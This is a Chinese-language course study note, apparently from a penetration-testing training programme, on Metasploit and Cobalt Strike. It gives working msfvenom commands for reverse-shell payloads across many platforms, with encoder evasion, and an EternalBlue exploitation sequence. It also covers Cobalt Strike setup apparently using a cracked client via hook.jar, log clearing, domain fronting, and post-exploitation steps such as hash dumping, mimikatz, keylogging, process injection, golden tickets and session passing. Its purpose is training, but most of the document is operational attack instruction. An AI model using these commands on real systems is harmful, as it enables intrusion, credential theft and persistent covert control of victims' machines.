Metasploit&Cobalt Strike 基础
本文为内测第一周结束后内网学员的学习笔记,后续本公众号会持续更新其他课程学员学习笔记。对课程感兴趣,请添加文末小助手微信咨询。
0x01 MSF安装和升级
最近mac本机和linux服务器上的msf在执行msfupdate命令以后都出现了不同程度的玄学问题,于是卸了重装。
1.1 安装
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installerscurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
以非root用户首次启动msf来创建数据库。
如果是用root用户首次启动msf了那么就用 msfdb reinit命令来初始化数据库。
1.2 mac下msf的卸载:
msfremove
1.3 linux下msf的卸载:
sudo rm -rf /opt/metasploit-frameworkrm ~/.msf4/logs/framework.log
如果都用1.1里的方式安装的就用以上这两条命令卸载就行了。
但是我发现我服务器上一开始是通过 apt-get install来装msf的。所以需要加:
sudo apt-get remove metasploit-framework
这条命令来卸载msf。
https://github.com/rapid7/metasploit-framework/issues/14652 前两条命令
1.4 msf更新
msfupdate
1.5 添加到路径
顺带一提,添加msfconsole和msfvenom这些bin到路径的方法在mac上和在linux上都是
export PATH="$PATH:/opt/metasploit-framework/bin"
0x02 msf使用方法
2.1 使用方法
进入msf: msfconsolesearch命令查找模块: search ms17-010use进入模块: use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)模块详细信息查看: use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue设置攻击载荷: set payload windows/x64/meterpreter/reverse_tcp查看模块需要的参数:options设置参数: set lhost 0.0.0.0(参数名似乎不区分大小写)攻击:run / exploit 都可以meterpreter后渗透阶段
2.2 rc脚本执行多个msf命令
msfconsole -r configure.rc
0x03 msfvenom生成shellcode
3.1 一般生成
msfvenom-p 载荷 -f 输出格式 -o 输出文件msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe大部分时候也是需要一些配置 lhost lport这些:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
3.2 编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i 编码次数 -f 输出格式 -o 输出文件msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe一般来说 -a可以不用,--platform也可以不用
3.3 查看支持的系统架构
msfvenom -l archs
3.4 查看支持的系统平台
msfvenom -l platforms
3.5 列出所有payload
msfvenom -l payload
3.6 列出所有的输出格式
msfvenom -l formats
3.7 列出所有的加密方式
msfvenom -l encrypt
3.8 列出所有的编码器
msfvenom -l encoders
0x04 常见生成格式
主要是windows。
4.1 windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe
4.2 Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf
4.3 Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4.4 Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
4.5 Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
4.6 Jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
4.7 PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
4.8 Bash
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
0x05 CS安装
5.1 java版本切换
mac切换java版本
https://juejin.cn/post/6871959224314757134
原先的bash_profile里面的脚本
export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home CLASS_PATH="$JAVA_HOME/lib" PATH=".$PATH:$JAVA_HOME/bin"
mac下我用的是zsh,所以把上面的脚本复制到.zshrc里面就行。
ubuntu下的jdk我都安装在/usr/local下,就不用update-alternatives切换了吧,自己用的时候自己换吧。
在~/.bashrc 里面现在是/usr/local/jdk-11.0.1/bin
5.2 CS启动
服务端cd /home/ubuntu/CS4.3&&nohup sudo ./teamserver ip pass js.profile & 客户端启动(mac)cd /Users/hh/sectools/Cobalt_Strike_4.3&&java -Xdock:icon=cobaltstrike.icns -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -jar cobaltstrike.jar客户端启动(win)java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
5.3 CS文件介绍
agscript:扩展应⽤的脚本 c2lint:⽤于检查profile的错误和异常 teamserver:服务器端启动程序cobaltstrike.jar:CobaltStrike核⼼程序cobaltstrike.auth:⽤于客户端和服务器端认证的⽂件,客户端和服务端有⼀个⼀模⼀样的 cobaltstrike.store:秘钥证书存放⽂件客户端基本只需cobaltstrike.jar,cobaltstrike.auth,cobaltstrike.store这几个文件。
5.4 目录
data:⽤于保存当前TeamServer的⼀些数据 download:⽤于存放在⽬标机器下载的数据 upload:上传⽂件的⽬录 logs:⽇志⽂件,包括Web⽇志、Beacon⽇志、截图⽇志、下载⽇志、键盘记录⽇志等 third-party:第三⽅⼯具⽬录
PC上 ?
5.5 CS 清除 日志
logs文件打包备份以后删除原文件夹。删除 ~/.aggressor.prop 文件里的内容。CS监听器和插件主要记录监听器的各种payload和选项加载插件时候的各种需要注意的问题
5.6 CS监听器创建
监听器-> listenersCobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。创建监听器的方式:Cobalt_Strike->Listeners->add
listenername:为监听器名字,可任意payload:payload类型,建议HTTPS流量加密HTTPHosts: shell反弹的主机,测试中也可以填CDN节点HTTP Hosts(Stager): Stager的⻢请求下载payload的地址,默认也是shell反弹的主机地址HTTP Port(C2): C2监听的端⼝ 可以任意指定Host Rotation Strategy先不管
5.7 cs4.3 的payload选项
内部的ListenerBeacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB外部的ListenerForeign HTTP Foreign HTTPSExternalExternal C2Beacon为内置的Listener,即在⽬标主机执⾏相应的payload,获取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。
Beacon可以选择通过DNS还是HTTP协议出⼝⽹络,你可以在使⽤Beacon通讯过程中切换HTTP和DNS。(HTTP HOSTS的CDN节点)⽀持多主机连接,部署好Beacon后提交⼀个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
(域前置)防护团队必须拦截所有的列表中的主机才可中断和其⽹络的通讯。通过种种⽅式获取shell以后(⽐如直接运⾏⽣成 的exe),就可以使⽤Beacon了。
Foreign为外部结合的Listener,常⽤于MSF的结合,例如获取meterpreter到MSF上。
5.8 本地远程加载插件
本地加载Script Manager -> Load插件的使用就是有shell弹回来以后右键使用。
5.9 服务端加载
加载方法:CobaltStrike服务器端有个 agscript⽂件,他是⽤来在服务器端运⾏cna插件⽂件的。agscript用法在服务端执行如下命令(避免与teamserver运行的产生的nohup.out冲突)nohup ./agscript cs的ip cs的端口 任意用户名 password 插件路径 >> nohup1.out & agscript和c2lint文件的使用问题(重要):CS高版本要使用hook.jaragscript配置:java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar aggressor.headless.Start $*c2lint配置:#!/bin/bash## Check a Malleable C&C Profile#java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar c2profile.Lint $1
5.9.1 c2lint用法:
./c2lint xxx.profile
5.9.2 对被控主机的操作1
视图view:Applications 显示受害者机器的应⽤信息;Credentials 显示受害者机器的凭证信息,通过hashdump和mimikatz获取的密码都保存在这⾥;Downloads 查看从被控机器上下载的⽂件;Event Log 可以看到事件⽇志,清楚的看到系统的事件,并且团队可以在这⾥聊天; Keystrokes 查看键盘记录;Proxy Pivots 查看代理信息;Screenshots 查看屏幕截图;Script Console 在这⾥可以加载各种脚本以增强功能,https://github.com/rsmudge/cortana-scripts,学习插件编写Targets 查看⽬标;Web Log 查看web⽇志。
5.9.3 对被控主机的操作总览
Interact 打开beaconAccess dump hashes 获取hash Elevate 提权 Golden Ticket 生成黄金票据注入当前会话 MAke token 凭证转换 Run Mimikatz 运行Mimikatz 抓取明文密码 Spawn As ⽤其他⽤户⽣成Cobalt Strike的beacon Explore Browser Pivot 劫持⽬标浏览器进程(很少使用) Desktop(VNC) 桌⾯交互 File Browser 文件浏览器 Net View 命令net view Port scan 端口扫描 Process list 进程列表 Screenshot 截图(system权限下截图是失败的,普通或者管理员都是可以的) Pivoting SOCKS Server 代理服务 Listener 反向端口转发 Deploy VPN 部署VPN Spawn 新的通讯模式并生成会话Session 会话管理,删除,心跳时间,退出,备注
5.9.4 抓取hash和明文密码
这两项功能都需要管理员权限,如果权限不⾜,先提权
抓取密码哈希:Access->Dump Hashes
利用mimikatz抓取明文密码:Access->Run mimikatz
credentials里面有复制功能 复制到剪贴板
6.0 提权(Elevate)
有杀软的话提权插件可能不成功
https://github.com/rsmudge/ElevateKit
控主机简历Socks4代理Pivoting->Socks Server
选择端口
做了域前置再做socks4代理的话要注意会暴露真实ip地址,要留意。
进程列表(注入进程,键盘监控)Explore->process list
建议注入PID大的进程
选中该进程Kill为杀死该进程Refresh为刷新该进程Inject 则是把beacon注⼊进程Log Keystrokes为键盘记 录Screenshot 为截图Stea Token为窃取运⾏指定程序的⽤户令牌
6.1 Inject注入进程
选择进程,点击Inject,随后选择监听器,点击choose,即可发现CobaltStrike弹回了⽬标机的⼀个新会话,这个 会话就是成功注⼊到某进程的beacon会话。该功能可以把你的beacon会话注⼊到另外⼀个程序之中,注⼊之后, 除⾮那个正常进程被杀死了,否则我们就⼀直可以控制该主机了。
inject 进程PID 进程位数 监听
最好是权限稳定了再做。
6.2 键盘记录
进程列表里任意选择⼀个进程,点击Log Keystrokes,即可监听该主机的键盘记录。
keylogger 进程PID 进程位数
或者直接输入keylogger(应该是当前进程监听键盘)
点钥匙按钮
6.3 CS操作续
生成黄金票据注入当前会话(Golden Ticket)
⽣成⻩⾦票据的前提是已经获得了krbtgt⽤户的哈希:xxx。并且已经获 得⼀个以域⽤户登录的主机权限。
6.4 端口扫描
Explore->Port Scan
一般sockets进程数s可以选200portscan 192.168.10.1-192.168.10.10 22,445 arp 1024 arp协议扫描portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024 icmp协议扫描portscan 192.168.10.1-192.168.10.10 22,445 none 1024 默认所有主机都是存活的 一般直接运行portscan 192.168.1.0/24 22,445,1433,3306 20beacon里jobs查看后台运行jobkill 杀掉进程
6.5 哈希传递攻击或者SSH远程登录
有哈希解不出可以尝试PTH攻击
6.6 MSF和CS联动
会话的派生场景:
用MSF的payload打ms-17010MSF的shell弹到CS上CS、MSF互弹只有http和https可以接收到另一方回连的会话。http复制http,https复制https。实际攻击中VPS上装个msf
6.7 CS复制会话到MSF
1、CS创建外部监听器 2、MSF开启监听 use exploit/multi/handler set payload windows/meterpreter/reverse_http (与cs对应)set lhost CS服务器地址 set lport CS外联监听器的端口 3、CS指定会话里运行spawn 外联监听器名
foreign_https2.msf复制命令run
6.8 MSF复制会话到CS
1、将MSF获得meterpreter会话放在后台:backgroud 2、注入会话 use exploit/windows/local/payload_inject session 选择要复制的session会话 set payload windows/meterpreter/reverse_http set lhost CS服务器地址 set lport CS外联监听器的端口(此处应为4142) 3、CS创建监听器 (对应的beacon http或者https) 4、MSF运行注入
然后这个弹好的shell是互不影响的。
要懂得cs拿到shell以后做的操作。
msf拿到meterpreter以后做的操作。
是后渗透的基础。
比如说CS的shell
第一个操作是权限维持,同时快速翻文件收集信息。第二个操作是考虑打个代理,开始横向移动,快速判断机器是否有用,开始扫描。
